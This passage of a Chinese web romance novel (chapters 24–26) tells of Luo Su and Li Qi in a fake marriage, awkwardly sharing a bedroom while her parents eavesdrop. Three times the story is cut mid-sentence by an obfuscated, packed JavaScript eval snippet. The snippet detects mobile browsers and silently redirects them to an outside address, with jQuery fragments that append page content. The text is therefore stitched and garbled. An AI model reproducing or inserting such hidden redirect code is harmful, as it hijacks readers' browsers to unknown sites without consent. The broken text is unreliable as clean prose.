;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207660|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和哥哥。 洛苏拿起他的画认真看,画中的小男孩显然是他自己,又瘦又小,脸上有几个象征眼泪的圈。旁边一个高高的男孩手上端着一个盘子,盘子里一坨冒着热气的东西,像极了大便。旁边歪歪扭扭写着“我和哥哥”,“我”“哥”还是用拼音写的。 洛苏气急了,这是什么哥哥!居然给弟弟吃大便!难怪孩子又瘦又小!她马上找到周宇澄的班主任,把画给她看。 “哈哈,洛老师,我看您误会了。”班主任年长洛苏几岁,已经是有近十年教龄的老师,一看就知道这是小孩子词不达意。 “这个周宇澄是前几天才插班来的,很可怜,没父母,监护人是他哥哥,平时也要上班,所以才让这孩子读寄宿学校。我见过他哥哥,很和气很有礼貌。” “哦,那就好……”洛苏有点尴尬。 “关心孩子是好事啊,洛老师,你很细心,学生们都很喜欢你呢。” 洛苏应酬了几句,决定买一盒水彩笔送给这个可怜的孩子。 放学在文具店买好水彩笔,洛苏慢悠悠地转回家。不知道为什么,平时下班她都急着回家,今天她莫名地不想回去。哪怕在外面闲逛,压马路都行。 “你有没有空出来陪我吃饭啊?” 正好一个多星期没见过施蜜了,洛苏想跟她聊聊。 “以后约我请早,哪有人事到临头才约人的,没诚意!” 施蜜是个大忙人,明艳美女不愁约会。 洛苏丧气地挂了电话往家走。 宝庆楼的招牌灯在夜色里很亮,古朴的外观、飘逸的大字,一看就是个有年头的老字号。门口停满了车,饭菜香和食客的说话声混杂在一起,充满了市井烟火气。 这是她可以为之牺牲婚姻的祖业,虽然结婚是假的,可这扑鼻的菜香和兴旺的生意是真的。 洛苏心里的沮丧被这烟熏火燎冲淡了。 端菜、收银、收拾碗盘、又是忙到十点多才结束。她没力气吃饭,跟父母打了个招呼就上楼,准备洗洗睡了。 打开衣柜,洛苏终于知道她今天那种霉运缠身的感觉从哪来的了。 衣柜里不再只有她各种漂亮鲜艳的裙子,右边一小块地方整齐挂着黑白两色的衬衫和T恤,虽然占的位置不多,但在一众花花绿绿里尤其显眼。 这不是她的衣服。 这是谁的?谁这么变态啊! 洛苏正要发作,黎祁淡定的声音从房门口传来,他倚着门框,抱着胳膊,好像就等着看洛苏张牙舞爪、气急败坏的样子。 “是我的。” “你有病啊!我同意你搬来了吗?”洛苏冲到他面前,气呼呼地吼。 “嘘——”黎祁朝楼下看了看,把洛苏推到门里,“如果我没猜错,你爸妈现在肯定很关心这房间里的动静。” 这话让洛苏像被冷水迎头浇了个透心凉。她差点忘了,他们结婚了,迟早会有这一天。 “如果你不想他们知道真相,最好小声点。当然,我无所谓,反正我的事情已经了结了。” 收养程序已经办完了,他随时可以离婚。 “你想得美!”洛苏拿起睡衣,狠狠瞪了他一眼,重重关上洗手间的门,差点把黎祁的鼻子撞扁。 离婚然后跑路?想都别想!洛家的门,易进难出。 “哗哗”的水声从洗手间传出来,磨砂门并不隔音,也不遮光。洛苏模糊的身影映在门上,当然,她自己从来不知道这门形同虚设。 黎祁挪开目光,不自在地拿起一本书。 是本八卦杂志,讲明星之间的爱恨纠葛,上面的明星黎祁大多不认识,他对这些八卦也不感兴趣,洗手间的水声断断续续,他克制着不去看那边,但房间安静,洛苏的一举一动都被无限放大,他似乎能看到她关了喷头,拿起了洗发水,洗发水揉搓在头皮上起了很多泡泡…… 二十分钟过去,他的书还停留在那一页,洗手间的响动也消失了。 黎祁屏住呼吸,感觉房间里静得有些诡异。 洛苏默默站在门里,仔细听着外面的动静,尽量不发出任何声音,因为她发现她刚才光顾着和黎祁斗气,只拿了上衣,没拿睡裤。 24. 断子绝孙脚 洛苏从来没觉得如此进退两难过。 进,进不得,外面有独狼虎视眈眈、伺机而动。对,她觉得黎祁像一匹独狼,总是独来独往,有种孤独悲伤的气质,但浑身又蕴藏着可怕的力量,万一惹毛了他,随时可能葬身狼口。 退,无路可退。总不能在洗手间里蹲一晚上吧? 偏偏外面鸦雀无声,好像没有人。黎祁呢?他下楼了?如果他下楼了正好,她可以出去穿衣服。可万一他假装不在,正黑心肝地等着她自投罗网呢? 洛苏脑子里飞速思考着各种可能。直觉和这段时间的相处告诉她,黎祁不是那种人。可基于女生自我保护的原始本能,她又没有考验他的勇气。 初夏晚上气温不高,夜风从洗手间的窗户缝隙钻进来,在洛苏赤裸光滑的腿上留下一层鸡皮疙瘩。 好冷。 她深呼吸,尽量调整好心态,然后轻轻咳了一声。 她发出信号了,如果黎祁在外面,应该会接收到她的信号并作出回应吧。 洛苏乐观地想着。 黎祁一动不动,也不看洗手间的方向,但耳朵却机敏地捕捉到这声几不可闻的低咳。 他长吁一口气,浑身彻底放松下来。原来她还活着。但也感到很疑惑,女孩子洗澡都要这么久吗?都快一个小时了,他快等得睡着了。 不是等洛苏,是等洗手间。他累了一天,也想早点洗澡睡觉。 洛苏没接收到她想要的信号,又提高点声音,再咳了一下。 就像石沉大海,通通杳无音信。她甚至没法判断黎祁到底是在房间故意不接收她的信号还是压根就不在房间。 “吱——”门从内被推开一条缝,洛苏试图从门缝里观察房间的状况。 寂静的夜里,这声“吱”有如惊雷的效果。黎祁的视线不由自主往声音的来向飘去。 隔着一条门缝,两人四目相对。 他真的不是故意的。 “啊——”洛苏尖叫一声,猛地把门拉上,“你怎么在这里!” 洛苏抱紧胳膊,像个被登徒浪子轻薄了的可怜良家妇女。嘴里不住咒骂黎祁,死变态!假清高!竟然不吭声引我出去! “这不是我房间吗?我不在这在哪?” 黎祁收回视线,语气有些调侃。其实他什么都没看见,那么小一条缝,能看到那得是透视眼吧? “你给我出去!”洛苏的声音被洗手间空旷的音效和潮热的水汽浸染,带上了些娇嗔意味,不似平时那么清亮。 “去哪?还有……”黎祁抬手看了看表,“大小姐,你洗澡洗了一个小时,如果以后你每次洗澡都这么久,能不能让我先洗?” 洛苏更气了。重点是洗澡时间长短吗?她的重点是黎祁阴险狡诈地骗她开门!可他竟然好像完全无所谓,还理所当然地诘问她,简直是倒打一耙,恶人先告状! “你……你先出去一下。”洛苏决定改变策略,她现在衣衫不整,藏身在狭小的洗手间里,不管是气势还是实力都处于劣势。她得先出去再说。要衣冠整齐才有底气跟他吵架。 “你……怎么了?是不是……不舒服?”黎祁有些犹疑,他没和女孩子单独相处过,更别提在私密的空间里。他仅有的和女孩子接触的经验,来自于职校读书时的那些女孩。 染着红红绿绿的头发,穿着吊带露胸装和低腰牛仔裤,半个胸脯和腰都裸露在外,嘻嘻笑着要请他吃饭看电影,或是约他去溜冰打台球。 她们身上的香水味浓烈又刺鼻,看他的样子如狼似虎又轻佻暧昧。遭到他的拒绝后,她们也不气馁,仍旧嘻嘻哈哈在他下课的路上堵他,在他宿舍的楼下盯梢。 时间长了,她们自知无望也觉得无趣,就换了目标,不再找他。 在她们身上,黎祁没有感受到任何被人喜欢的快乐。他的拒绝和冷漠让他成了职校里有名的怪人,甚至有人说他不喜欢女生。 随便吧。 虽然他极度缺乏和女孩子相处的经验,但生理卫生课他也上过。洛苏这样扭捏气恼,又非要他出去,是不是身体不舒服?或许,她需要他帮助? 他有些紧张地站起来。 “你才不舒服!”洛苏张口就怼,声如洪钟。 见她中气十足,黎祁放心了。 “我……”洛苏咬咬牙,“我衣服没拿……” 黎祁的脸突然涌上一股热意,他扭头一看,洛苏的天蓝色睡裤的确在床尾,大半被被子掩住,难怪她拿漏了。原来她躲在里面一个小时是因为这个。 “要我拿给你吗?” 黎祁坏心顿起,就像那次在楼道把她堵在墙角一样,他想看看她能急成什么样。 “不用!不用!”洛苏急得连声拒绝。 一丝促狭的笑声穿透了单薄的门。是黎祁,他在笑,虽然声音低沉,但她还是听得很清楚。 “我出去了,十分钟够吗?”笑声消失,又恢复成清淡不带感情的声音。 洛苏火速穿好衣服,又对着镜子上上下下检查一遍,确定没有疏漏,这才打开门上的锁。 趁黎祁还没进来,她快速钻进被子里,前后左右死死压住,把自己包成一个蚕蛹。 黎祁瞥了她滑稽的背影一眼,没说话,打开衣柜拿衣服,径直进了洗手间。 “哗哗”的水流声再次响起,洛苏坐卧难安,翻来覆去,被子全都散乱了。 她突然后悔了。后悔签下这个荒唐的协议。虽然是假结婚,可也要孤男寡女,共处一室。原本她以为没有肢体接触就行,可没想到,真正让她尴尬和别扭的不是突然间的触碰,而是这数不清的生活细节。 洗澡,洗完澡后穿着从不示以外人的睡衣彼此相对,明天还要换衣服、洗漱、上厕所,这才是婚姻的主要构成部分?把自己所有的生活碎片袒露在对方面前,起床时乱蓬蓬的头发,沾着眼屎的眼睛,浮肿的脸…… 不要啊!她还没谈过恋爱呢,她还想知道对一个人魂牵梦萦到吃不下、睡不着是什么感觉,也想知道世界上最柔软的是不是施蜜说的嘴唇。为什么让她这么早看到婚姻的真相,然后幻灭所有想象? 黎祁没给她太多胡思乱想的时间,不到十分钟,水声戛然而止,洛苏赶忙裹好被子,气哼哼地蒙住头。 清冽的香气随着门的开关流淌在房间里。 洛苏忍不住嗅了嗅,这不是她的沐浴露。但是还挺好闻。大概是妈妈给他准备的? 洛苏一动不动,准备装死到底。她抢先上床的目的就是要先下手为强,把床占住再说,至于黎祁,爱睡哪睡哪,不关她的事! 一米五的床,她一个人睡很舒服,想怎么滚就怎么滚,再多个人,挤得很。 正觉得自己聪明绝顶,突然身边一塌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛苏深吸一口气,然后张开血盆大口,在他露出的肩头上狠狠咬了一口。 嗯,妈妈买的天丝睡衣口感真不错,丝滑细腻,轻薄柔软。 洛苏还没来得及继续回味,肩膀就被死死按到了枕头上,整个床发出沉闷的“吱——”,她被禁锢在他庞大的身影下,动弹不得。 这床还是洛苏高中的时候买的,睡了七八年了,平时她一个人睡还好,现在陡然增加了重量,有些不堪重负。 “我要是没睡好脾气会很差,会眼花手抖,如果你不希望我明天把糖当成盐,把酱油当成醋,砸了宝庆楼的招牌,就好好睡觉。” 黎祁目光幽幽凝视着她,明明是威胁的话,可从相距不过半臂的嘴里说出来,莫名有些暧昧哄劝的调性。 黎祁小看了洛苏,她天生吃软不吃硬,最讨厌被人威胁。谈好的条件双方都已经履约了,她才不会再受黎祁威胁呢!她也不相信他真的会那么做。那是他的专业操守,他不是没有职业素养的人。 基于对黎祁专业的信任,洛苏等他说完,微微一笑,像个听劝的乖孩子,可黎祁身下她原本伸直的腿猛地曲起,然后一个弹踢,朝黎祁腹部踹了过去。 这个飞踢还是她在大学的防狼课上学的,俗称“断子绝孙脚”。 25. 秀色可餐 洛苏没谈过恋爱,但托施蜜的福,她的爱情理论课没少上。虽然她的感情经历止步于大学时的暧昧对象,但确定关系之后的每一步意味着什么,她都很清楚。 此时男上女下的姿势,她心慌恐惧的同时,却不由自主开始胡思乱想。 这难道就是施蜜说的“传教士”?洛苏顺势瞄了瞄黎祁的某个特殊部位。 据施蜜说,越平坦分布越均匀的就越长越大,那种异军突起的反而华而不实。 嗯,挺均匀的,完全不会尴尬。 脚踝上的力道微微收紧,让洛苏不得不收回奇怪的遐想,在心里提醒自己不能为色所迷。可相贴的皮肤干燥粗糙,他掌心似乎有一层薄茧,粗砺和火热交织,洛苏一时间忘了反抗,还老实保持着那个传统的姿势。 她忍不住看黎祁近在咫尺的眼眸,她还是第一次这样近距离看他的眼睛。他眼型是狭长的,眼尾微微翘起,带着漫不经心和冷淡的眸光,不笑的时候显得冷漠傲慢,但笑起来的时候眼尾像绽开的花,明媚耀眼。 洛苏见过一次,在老字号大赛上,他隔着满座的观众,对她竖起大拇指时,罕见地笑了。再后来,即使是拍结婚登记照,他也只是淡淡微笑,温和却并不浓烈,还有几分狡黠。 “你是想用武力决定谁睡床吗?” 黎祁冷淡的嗓音打断了洛苏突如其来的色心。虽然也只是色心而已。 她回过神,意识到自己的脚被他牢牢抓着,他的另一只手还按着她的肩,屈膝跪在她身侧,她整个人被他的身影笼罩,从背后看,这是极其暧昧又亲密的姿势。 “反正你不能跟我睡同一张床!” 她开始挣脱。不知道为什么,她觉得脚是比手更不能随便让男人碰的地方。手每天裸露在外,而脚从不轻易示人,除了非常亲密的关系,女孩子的脚,是不能随便给人碰到的。手被控制住,还有脚可以逃走。可一旦脚被制住,就动弹不得,只能束手就擒。 她刚刚挣扎一下,脚上传来更强的力道。她感到微微疼痛,忍不住皱眉:“疼……” 她刚刚洗完澡,身上有淡淡茉莉花香,被两人缠闹间的热气熏蒸,香气快速挥发,扑面而去。 黎祁微微一怔,松了松手,但没放开。 纠缠间,洛苏领口倾斜,露出半个肩头和大片精致锁骨,蓦地闯入他眼帘,让他有些不知所措。 他稍稍挪开视线,喉头涌动,声音有些哑:“是你不能跟我睡同一张床。” “你的绅士风度呢?女士优先你不懂吗?”洛苏开始进行道德绑架。 “欢迎来到男女平等的世界。这不是你们希望的吗?”黎祁笑得很假,此刻洛苏就像他砧板上的鱼,任他宰割。 洛苏无话可说,没想到黎祁竟然还有这种辩才,她垂下眼一言不发,再看向黎祁的时候,已是眼眶微红,看起来楚楚可怜。 “你快松开,我疼……” 洛玉柱和苏爱云睡不着。今天实际上是女儿结婚的第一天,虽然为了照顾黎祁的感受没有办婚礼,但在他们心里,从今天开始,黎祁就真的是他们的女婿,是这个家的一份子。 苏爱云有点不放心,吞吞吐吐地开口:“也不知道怎么样了……” 洛玉柱看穿她的心思,翻了个白眼,他现在心情很复杂,养大的女儿从今天开始就不再是小女孩了,会成为另一个男人的妻子,以后还会成为别人的母亲,这让他有点百感交集。 “想看就去看看。” “去你的,我是哪种丈母娘吗?”苏爱云啐了一口。 “你在这唉声叹气的不就是担心吗?看看你就放心了。” 洛玉柱其实也不放心,黎祁的体检报告他是亲眼看过的,两个人每天在他眼皮子底下,憋了这么多天只怕早就按耐不住了。万一年轻人血气方刚不懂节制,影响身体健康。但他作为父亲,这种事只能装作看不见不知道。 “那……我去看看,顺便问问酥酥饿不饿,她晚上可没吃饭呢!” 苏爱云披了一件外套就打开门,蹑手蹑脚地上楼了 老房子质量好,隔音效果不错,她静静贴在门上,努力听着里面的动静。 很安静,好像已经睡着了。 黑暗中,洛苏捂住黎祁的嘴,眼中满是警告。 黎祁一动不动,他没经历过这种事,当洛苏扑到床头关灯的时候,他还傻傻握着她的脚踝。 “嘘——我妈来了。”洛苏来不及跟他解释,用眼神向他示意。 苏爱云这招洛苏早就习以为常。高中那会儿,洛苏迷上了言情小说,半夜窝在被子里看小说是家常便饭。苏爱云以为女儿睡了很是放心,结果有次停电,她担心女儿害怕上来查看,才发现她的乖女儿正躲在被子里用手电筒看小说看得津津有味。 从那以后,她就隔三差五地夜半突袭,有时候起夜顺便就来看看。 上有政策,下有对策,为了看小说,洛苏不得不见招拆招,掌握了母亲的脚步规律。所以,当她一踏上楼梯,洛苏就迅速采取了行动。 关灯、捂嘴,一气呵成。 苏爱云很诧异,照理说不应该啊,洞房花烛夜,居然这么早就偃旗息鼓?年轻人的身体这么差? 她不信邪,又把耳朵附到门板上,静静听。 隔着门板,洛苏已经嗅到了母亲的气息。心里又好气又好笑,气父母还把她当小孩,居然还干突然查寝这种事,又笑他们蒙在鼓里,指不定在胡乱猜测呢。 一个念头浮上脑海。 最危险的地方就是最安全的地方,同理,过于正常的时候就是不正常。 哪有洞房花烛夜新房里一片寂静的?就算睡觉,也应该有此起彼伏的呼吸声。 她顾不得和黎祁通气了,双手猛的攀住他的肩膀,把他扑到了床上。 黎祁不得不双手隔住她,来缓冲下坠的力量,但床还是发出了刺耳的“嘎吱”声。 “你干什么!”黎祁严厉地瞪着洛苏,眼中满是惊愕,好像被轻薄了一样。 洛苏急得又捂住他的嘴,生怕他说出什么不该说的话。 黎祁感到嘴唇被她软软的手贴着,掌心热热的潮潮的,像极了浴室里的水汽。 她整个人几乎趴在他身上,又香又软,几根发丝沾到他脸上,又痒又麻,他好想拨开。但他的手没空,不知道什么时候,他的手环住了她的背,她的手放在他的胸口,隔着薄薄的睡衣,他能感到肋骨那里有两团柔软的东西。意识到是什么之后,他的脸腾地烧起来,浑身的血液往大脑涌去。 苏爱云还没走。 她觉得很诡异,太安静了,刚才那突兀的“嘎吱”声好像是特意响给她听的。 洛苏全神贯注地听着门外的动静,根本没意识到她和黎祁的姿势已经极度亲密,完全是一对新婚夫妇的模样。 她只需要抬起头,嘴唇就能碰到他的下巴。而他只需要微微用力,就能把她紧紧抱在怀里。 洛苏一直保持着这个姿势,母女俩隔着门板静静对峙着,都在看谁先耐不住露出破绽。 洛苏感到自己的腰已经发酸,手也有点发麻,现在要结束这场战斗只有一个方法。 她深呼吸,心一横,抬起头捏着嗓子“嗯”了一声。 这一声柔软绵长,像是极力从嗓子眼挤出来的。 黎祁感到柔软粉嫩的嘴唇擦过自己的下巴,紧接着这声“嗯”让他浑身一颤,触电般酥麻。意识到洛苏在模仿什么,他猛的把洛苏从身上推了下去。 “嘎吱——”床板很配合地再次做出了回应。 洛苏的背撞到墙壁上,痛得龇牙。但又不能开口骂,只得怒不可遏地在黎祁腰上用力挠了挠。 别以为我力气小就打不过你,施蜜说过,男人的腰,夺命弯刀。 洛苏的眼睛在黑暗中闪闪发光,挑衅般睨着黎祁。 施蜜的经验之谈没错,黎祁不怕痛,但他怕痒。洛苏那点力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207662|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气不足以让他痛,但足以让他笑。 他不得不再次捉住洛苏的手,免得她的手再胡来。 “啊——疼!” 洛苏不妨他突然用这么大的力气,手腕像被钳住一样,忍不住哼了一声。 苏爱云心满意足地下楼了。 “怎么样?睡了吗?” “睡你的觉,小老头管年轻人那么多干嘛?害不害臊!” 洛玉柱见她满脸喜色,心知肚明。翻个身就准备睡,又听妻子在暗自念叨,“明天我炖个黑豆黑米桂圆粥,黑色食物补肾。” 洛玉柱翻了个白眼,“关灯!睡觉!” “我妈走了,快松开!”洛苏咬牙切齿,恨不得扑上去再咬他一口。最好咬在脸上,看他那张死人脸还酷不酷。 “你保证你的手不乱动我就放开你。” 黎祁后退一点,拉开和她的距离,但手上力道不减。她说话的时候,潮湿温热的气吐到他脸上,他觉得有点热。 “除非你答应睡地板。”洛苏还记得她的核心目的,并没有因为苏爱云的突然袭击就抛诸脑后。 “行,那我就不松开。” 洛苏似乎看到他在黑暗中笑了笑,狡猾阴险。 “死白豆腐,别忘了我们的协议,未经对方同意……” 洛苏试着收回手,可他们的力量对比无异于以卵击石,她只感到那粗砺火热的触感更强烈了。 “我是正当防卫,你要是不挠我我根本不会碰你。” “行行,我不挠你痒了,你松开,我手真的疼。” 洛苏心想,硬来是不行了,只能智取。 黎祁松开了她,手上霎时一空,他感到心里好像也突然空了一下。这是他第一次和女孩子近距离接触,原来女孩子的身体这么软,好像没有骨头。他手上似乎还残留着淡淡茉莉花香,他把那只摸过她脚的手背到身后,那纤细柔嫩的手感似乎还在。 “这样吧,白豆腐,我们打赌,谁输了就睡地板,赢了的可以睡床,怎么样?敢不敢赌?” 黎祁不想再折腾,索性点点头同意了。 “很简单,这有个硬币……”洛苏爬到床头打开台灯,从床头柜翻出一枚硬币。 她的长发被动作带起,发梢拂过黎祁的脸,刚才怀中的香气又淡转浓,又由浓转淡。 “正面我赢,反面你输,开始!” 洛苏把硬币抛到空中,然后双手盖住,表情贼兮兮的,嘿嘿,看你还不上当。 黎祁露出一个无语的表情,洛苏是把他当傻子了吗? “正面我赢,反面你输?” 洛苏点头。 “开吧。” 洛苏打开手,硬币赫然背面朝上。 “你输了!床是我的了!”她兴奋地把黎祁往外推。 “我怎么输了?刚才不是说‘正面我赢,反面你输’吗?这是反面,你输了。”黎祁岿然不动,似笑非笑看着她。 洛苏如遭雷击,难怪他刚才要确认一下,原来他早就发现了猫腻。 “晚安。”他翻身躺下,一副拒绝再沟通的样子。 洛苏看着他淡定坦然的背影,恼羞成怒。又不敢再跟他硬碰硬,翻来覆去,气得胸口痛。 “放心吧,我不会动你的。”黑暗中,黎祁的声音明明近在咫尺却清冷得好似远在天边。 洛苏也折腾累了,黎祁说不会就不会,她还是像老字号比赛的时候那样相信他。 很快,黎祁的呼吸就变得均匀绵长,他真的睡着了。 洛苏撇撇嘴,不甘心的把被子一角盖到他身上,然后往墙边挪了挪。 早上七点,洛苏准时被闹钟叫醒了。窗帘遮光效果很好,微弱的光线弥漫在屋内,刚好能视物又不会太刺眼。 洛苏感觉脖子不舒服,身体也不像往常那么舒展,她睁开眼,扭头,一个白皙精致的下巴抵在她额头,她的脖子枕在一个结实的胳膊上,难怪这么难受。 26. 干吗? 洛苏小心翼翼把头从黎祁的胳膊上抬起,又轻轻地挪到床里,生怕吵醒黎祁。 一大早看到一张帅脸真是赏心悦目,以往的起床气似乎都没了。难怪施蜜常说老公一定要找帅的身材好的。 “帅的身材好的,只要他把衣服脱了,你马上就消气了。” 洛苏虚心好学:“怎么才叫身材好?” “这都不知道!穿衣显瘦,脱衣有肉,腹肌嘛,怎么也得有六块吧……” 她玩心大起,开始琢磨黎祁睡衣下面有几块腹肌。 他看起来睡得很熟,手臂依然保持着伸展的姿势。昨晚一定是他主动抱自己的!洛苏坚决不相信自己会那么主动。好像现在色眯眯偷看他的人不是她一样。 他睡衣下摆正好被压住,腹部被勒住,隐约勾勒出腹肌的形状。 洛苏认真数,一块,两块,三块…… 突然,床头的手机开始震动,把她吓了一大跳。她慌忙拿起来挂掉,幸好没把黎祁吵醒。 不是关心他的睡眠,是不想让他发现自己正在觊觎他的美色。 洛苏轻手轻脚下床,拿着手机跑进洗手间。 “一大早打电话干嘛!”洛苏坐在马桶上十指飞动,给施蜜回消息。 “哈哈哈,看你的新婚之夜过得怎么样啊,没想到你竟然起这么早,看来昨晚无事发生啊……啧啧……” 洛苏已经能想象到手机那端施蜜幸灾乐祸的表情。 “你想发生啥?你又不是不知道,我们是假结婚,假的!” “那又怎么样?都睡到一间房了,有些事就由不得你了。男女之间的关系突破有时候只需要一点点肢体接触就行了,牵个手,抱一下,感觉就来了。再说,他长得那么帅,你也不吃亏……” “滚滚滚!”被施蜜这么一形容,昨晚被黎祁抱在怀里和压在身下的画面突然清晰地浮现出来,洛苏的脸开始发烫。 “你干嘛恼羞成怒?看来昨晚还是发生了啥,快告诉我!”施蜜急得又打过来,手机再次“嗡嗡”地震动起来。在宁静的早晨,格外突兀。 洛苏戴上蓝牙耳机,一边洗漱一边小声跟施蜜打电话。 “哈哈哈,阿姨也是绝了,居然跑来偷听,我看你以后有得受了,不能让他们发现真相,又不能让死人脸占便宜,不好办啊!” 听起来施蜜在关心好朋友,但洛苏知道,她就是在隔岸观火,巴不得看好戏。所谓好姐妹,不怕你恋爱脑,只怕你被丑男拱。 “你说我以后怎么办啊?腹背受敌,不活了我!”洛苏狠狠吐出嘴里的牙膏泡沫,才第一晚就大战几个回合,以后晚上还能不能睡觉了? “打不过就加入呗!”施蜜无所谓地回答。 “加入?我加入谁?”洛苏有点迷糊。 “加入你妈,爱演不演,让他们顺其自然知道真相,你正好离婚一了百了。不过结果是你爸妈可能气得晕倒,然后黎祁走人。或者加入黎祁,好好演,演一天算一天,你们本来就是一条船上的,你别忘了你得把他留下来,他要是走了宝庆楼怎么办?” 一语惊醒梦中人。洛苏睡得发懵的脑子突然清醒了。她不能离婚,起码在找到另一个合适的大厨前,她不能离婚。不离婚,那就得和黎祁扮演好一对新婚小夫妻,不能让任何人看出破绽。不管黎祁怎么想,她得演好自己的角色。 施蜜听到听筒里一直沉默,心有不忍,柔声安慰洛苏:“往好处想,反正证都领了,合法,该怎么演就怎么演,你以为那些真结婚的人就没演吗?起码你能直接说自己在演,那些真结婚的不光要演,还不能说自己在演。比你痛苦多了!” 施蜜的人生信条是及时行乐,结婚?我又没疯!所以当听到好姐妹为了宝庆楼要跟人假结婚的时候,只觉得她疯了。 “真的?”洛苏半信半疑,父母结婚多年依然恩爱,婚姻真像施蜜说的那么不堪? “不骗你,首先,很多人在床上就在演。”施蜜笑得促狭。 “我去!这个怎么演?”洛苏往脸上擦气垫,忍不住爆了个粗口。 “不爽假装很爽,其实根本没感觉,还要说‘你好棒好厉害’。你说惨不惨?” “额……惨。”洛苏想到昨晚她的演技,她自觉演得还不错,虽然模仿对象来自某些成人影片,但应该不至于那么拙劣吧?她依稀记得,她“嗯”了那么一下之后,黎祁把她从身上扔下来了? “还有的人,老公长得像猪头,她们还要表现得很爱,换你,做得到吗?” 洛苏果断摇头,虽然施蜜根本看不到。“做不到,你知道我是外貌协会。” “对啊,所以知足吧,别觉得自己很惨,起码你每天可以面对一个大帅哥,顺其自然就好,如果他对你有那个意思,你也不抗拒,该发生点啥就发生呗,做好措施就行。帅哥当前,好好享用,不是所有人都那么幸运,能遇到一个洁身自好、人品端方的帅哥,然后先爱后睡,有时候顺序换一下,也不是什么了不起的事情,总之,追随你的本心,不要勉强自己,也不要委屈自己。” 这是施蜜的哲学,但不是洛苏的。黎祁的确很帅,但洛苏见过的帅哥也不少。大学时候学校里追她的帅哥也有几个,但没感觉就是没感觉,没感觉的帅哥亲上来和没感觉的丑男亲上来,没什么很大区别,无非是被好看的狗咬还是被癞皮狗咬的区别。 不过最后那句话洛苏还是赞成的,她不会勉强自己,也不会委屈自己。 “对了,说正题!”施蜜话锋一转,“你到底摸没摸到,他有几块腹肌?” 洛苏收好瓶瓶罐罐,对着镜子笑了笑,嘴里忍不住骂了一声:“大姐,你刚才说的原来都是废话?” 施蜜哈哈大笑:“快说快说!要不是看在他是你老公的份上,姐姐我就下手了!” “我没摸。”洛苏老实回答,她顶多只能算有色心没色胆,不敢跟施蜜这样辣手摧花的魔头相比。 “没出息!”施蜜留下一句恶评,挂了电话。 房间里再次陷入沉寂。除了楼下早点铺子有细微的断断续续的说话声,房间里只听得到黎祁的呼吸声。 洛苏挑好要穿的衣服,准备去洗手间换。这是个新的要求,以往她直接就在房间换了,有时候洗澡忘了拿什么,也干脆就出来拿了。可现在,这些都得改。虽然很麻烦。 她突然好奇心起,伸出手在黎祁眼前晃了晃。他眼皮纹丝不动,呼吸均匀沉稳。 令人羡慕的睡眠质量。 洛苏背过身,放心地脱掉了睡衣。 “嘎吱——”床板发出不合时宜的声音。 洛苏吓得捂住胸口回头看。 原来是黎祁翻了个身,背朝她继续睡了。 洛苏松了口气,赶快换好衣服,出门上班了。 阳光越来越强烈,房间的光线逐渐亮起来。黎祁睁开眼,觉得有点头昏脑涨,他没睡好。 在手机震动之前,他就醒了,因为手麻。但他不敢动,怕惊醒洛苏,两人面对面尴尬,还有一些别的什么说不清楚,反正他不敢动,也不想动。 这感觉对他来说太陌生且新鲜了。从来没有和一个女孩子在同一张床上醒来过,她的头枕着他的胳膊,她的头发软软的蹭着他的下巴,有点痒,但很香。好像他突然拥有了什么,不再是那个一无所有的人,总是两手空空地清醒。 他就这样睁着眼躺了一会儿,然后坐起身准备起床。洛苏的睡衣随意散落在床尾,空气中好像还有她的气息。这是一个全新的环境,但黎祁从小到大最好的就是适应能力,他已经开始暗示自己,以后,这也是他的房间。 苏爱云贴心地准备好了所有用品,他的牙刷和漱口杯整齐地和洛苏的并排着,她的是粉色,他的是蓝色。他看到她的杯沿还残留着一点白色牙膏,顺手就拿起来冲干净。 脏衣服怎么办?黎祁有点头疼。从小到大他都是自己洗衣服。没人帮他洗,除了小橙子,他也没帮谁洗过衣服。 自己动手,丰衣足食。他不可能让苏爱云给他洗衣服,更不可能让洛苏洗,她也不可能给他洗,幸好夏天的衣服好洗,搓一搓就行了。 他弯腰,从脏衣篮拾起自己的衣服。 他的衣服下面是洛苏换下来的衣服,他的T恤刚好贴着她的白色蕾丝内衣。圆圆鼓鼓的,肩带细细的,好像能看到穿它的人纤细的肩颈和锁骨。 他缩了缩手,是不是应该再买一个脏衣篮? 犹豫了几分钟,他还是伸手捡起了自己的衣服,然后速战速决洗干净,晒到了阳台上。幸好三楼自带阳台,晒衣服很方便。 洗漱干净,神清气爽,他换好衣服下楼来到大堂。 “小黎起来了啊,怎么不多睡会儿,快来吃早饭吧!” 苏爱云打量他一眼,笑得合不拢嘴。帅哥就是养眼,她端出早起熬好的粥,盛了一碗放到黎祁面前,又端了些包子、油条之类的摆满一桌。平时,洛家是不做早饭的,习惯在隔壁王婶家里过早,但今天是黎祁进家门的第一天,为了表示重视,她起了个大早张罗。 “谢谢,妈。” 黎祁不好意思安享照顾,殷勤地接过来,等他看清眼前黑糊糊的东西,眉头忍不住抽了抽。 